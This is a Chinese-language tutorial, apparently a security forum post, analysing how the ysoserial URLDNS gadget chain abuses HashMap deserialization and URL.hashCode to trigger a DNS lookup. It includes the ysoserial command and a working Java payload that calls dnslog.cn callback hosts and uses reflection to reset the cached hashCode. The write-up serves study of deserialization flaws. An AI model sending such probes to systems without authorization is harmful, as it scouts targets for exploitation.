JAVA反序列化-ysoserial-URLDNS原理分析

ysoserial

java反序列化工具,利用它通过指定利用链,获取恶意代码序列化之后的内容,将内容发送给目标,目标对内容发序列化进而触发恶意代码。

URLDNS

ysoserial中对一个利用链,但是他不能把任何的命令作为参数,而是一个url,而且也不能执行任何命令,只能去请求一个url。

java -jar ysoserial.jar  URLDNS "uht6g4.dnslog.cn"

具体的利用代码就是这样:

public class  danDemo{
    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://ym6ffz.dnslog.cn");
        url.hashCode();
    }
}

具体分析

URL类

主要是处理URL。

hashCode

javaObject的类方法,在许多类中都会继续使用该方法。主要是解决我们在比较数据的时候,挨个对象使用equals方法比较导致花费时间太长的问题。

比如说一个列表中有十万个数据,要插入一个数据,如果已存在则不插入,不存在则插入,所以就需要去比较一下每个数据是否与插入数据相等,相等则代表已存在。十万条数据逐个去调用equals()是不是相等,花费的时间就很长。

ideal分析

以下代码下断点:

url.hashCode();

首先进去URL.java类的hashCode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
    //返回hashCode为-1

继续进入以下函数

hashCode = handler.hashCode(this);

进入URLStreamHandler.java类的hashCode函数

该函数传入一个url,然后使用一下函数获取url的内容。传入urlhttp://ym6ffz.dnslog.cn

String protocol = u.getProtocol();   
 InetAddress addr = getHostAddress(u);
 String file = u.getFile();
 String ref = u.getRef();

四个变量对应的变量值为:

获取到url的每一部分的值之后会对每个值进行hashcode方法,然后将结果添加到h,最后该函数返回h值。

h += ref.hashCode();

在该类的hascode方法中会调用getHostAddress,会返回一个url的ip地址,所以我们使用该方法会去发起dns请求,请求一个url,获取ip。

public class  danDemo{
    public static void main(String[] args)
    {
        try
        {
            InetAddress ia1=InetAddress.getByName("www.qq.com");
            System.out.println(ia1.getHostName());
            System.out.println(ia1.getHostAddress());
        }
        catch(UnknownHostException e)
        {
            e.printStackTrace();
        }
    }
}

到这里,我们已经理解java是如何通过类和方法来发起请求获取ip地址的。我们说过主要是利用urldns获取反序列化数据,如果目标反序列化内容,会向目标url发起请求,这样就可以判定目标存在反序列化漏洞。发起请求有了,反序列化在哪里呢?这就要看hashmap类。

HashMap类

作用是用来存储内容,内容以键值对的形式存放。

import java.util.HashMap;

public class RunoobTest {
    public static void main(String[] args) {
        // 创建 HashMap 对象 Sites
        HashMap<Integer, String> Sites = new HashMap<Integer, String>();
        // 添加键值对
        Sites.put(1, "Google");
        Sites.put(2, "Runoob");
        Sites.put(3, "Taobao");
        Sites.put(4, "Zhihu");
        System.out.println(Sites);
    }
}

输出

{1=Google, 2=Runoob, 3=Taobao, 4=Zhihu}

直接在ideal中查看该类,首先该类继承Serializable接口,一个类继承该接口可以进行反序列化处理。

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable

并且该类还具有一下两个方法:

private void writeObject(java.io.ObjectOutputStream s) throws IOException
//对数据序列化
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
//对数据反序列化

对于Java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream。ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeBoolean,wrietInt,writeLong等,对于自定义类型,提供了writeObject方法。

private void writeSerialData(Object obj, ObjectStreamClass desc) 
    throws IOException 
    {
    ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
    for (int i = 0; i < slots.length; i++) {
        ObjectStreamClass slotDesc = slots[i].desc;
        if (slotDesc.hasWriteObjectMethod()) {//如果重写了writeObject方法
            PutFieldImpl oldPut = curPut;
            curPut = null;
            SerialCallbackContext oldContext = curContext;
            try {
                curContext = new SerialCallbackContext(obj, slotDesc);
                bout.setBlockDataMode(true);
                slotDesc.invokeWriteObject(obj, this);  //调用实现类自己的writeobject方法
                bout.setBlockDataMode(false);
                bout.writeByte(TC_ENDBLOCKDATA);
            } finally {
                //省略
            } 
            curPut = oldPut;
        } else {
            defaultWriteFields(obj, slotDesc);
        }
    }
    }

注意看

if (slotDesc.hasWriteObjectMethod())
slotDesc.invokeWriteObject(obj, this);

可以总结到

ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。

那么该类的方法是如何对传入的内容进行反序列化呢?可以具体的查看一下该方法:

for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }

对传入的内容进行反序列化,获得到key、value,然后对key传入hash方法。接下来在看一下hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列护化获取key、value。然后对key调用hascode方法,如果key是url对象,url对象的hashcode方法可以发起url请求。

构造payload

思路:创建hashmap类-创建url类-将键值对写入到生成的hashmap对象中-对该对象进行序列化反序列化。

Map hashMap = new HashMap(); 
URL url = new URL("unveog.dnslog.cn"); 
hashMap.put(url,"steady");  
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();

我们在上面讲过ObjectOutputStream中进行序列化操作的时候,对于传入的对象,如果该对象对应的类重写了writeObject方法,会调用该对象的方法,所以会调用HashMap的writeObject方法。

运行之后是无法发起dns请求的,原因是在执行以上代码的时候会执行以下函数,其中hashCode不为-1,不会继续执行

handler.hashCode(this);

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

问题就来了我们在开头的代码如下,也调用了hashCode方法,为什么此时的hashCode不满足hashCode != -1条件呢?

public class  danDemo{
    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://unveog.dnslog.cn");
        url.hashCode();
    }
}

原因就在与hashMap.put(url,"test");。put方法的具体代码

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

也就是说在我们反序列化之前就已经调用过hashcode方法,此时的hashcode缓存下来,即 hashcode 不为 -1。然后在反序列化的时候又一次调用hashcode方法,所以此时满足条件,进而不会继续执行代码发起dns请求。

在这里我们再次分别对两次代码下断点,这次主要是看看每次的hashcode值是多少。

第一次:

执行url.hashCode();之后hashcode值是-1,直接不满足条件进入接下来的代码发起dns请求。

第二次:

hashMap.put(url,"test"); 下断点,会第一次调用hashcode方法,此时hashcode值为-1。

继续调试注意看就是在此时发hashcode的值缓存,为2133919961

接着本来想在ois.readObject();下断点一次次的跟进调试,但是死活找不到调用hashcode方法的地方。但是我们肯定,二次的hashCode方法是在反序例化的时候调用的,所以在hashmap类中的反序列化方法中下断点

putVal(hash(key), key, value, false, false);

调试跟进,可以看到此时的hashcode的值,这样在反序列化的时候是发起不了dns请求的。

归根结底就是hashcode的值问题,修改一下就ok,所以我们用到反射的知识,在代码运行的时候动态的修改类的属性值,其中getDeclaredField方法获取一个类的所有成员变量,不包括基类。

Field field = u.getClass().getDeclaredField("hashCode");//获取变量之后进行修改。
field.setAccessible(true);
field.set(u,-1);//修改变量。

最终代码

public class  danDemo{
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://unveog.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);

        hashMap.put(url,"steady");
        f.set(url,-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

最后成功发起请求。

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖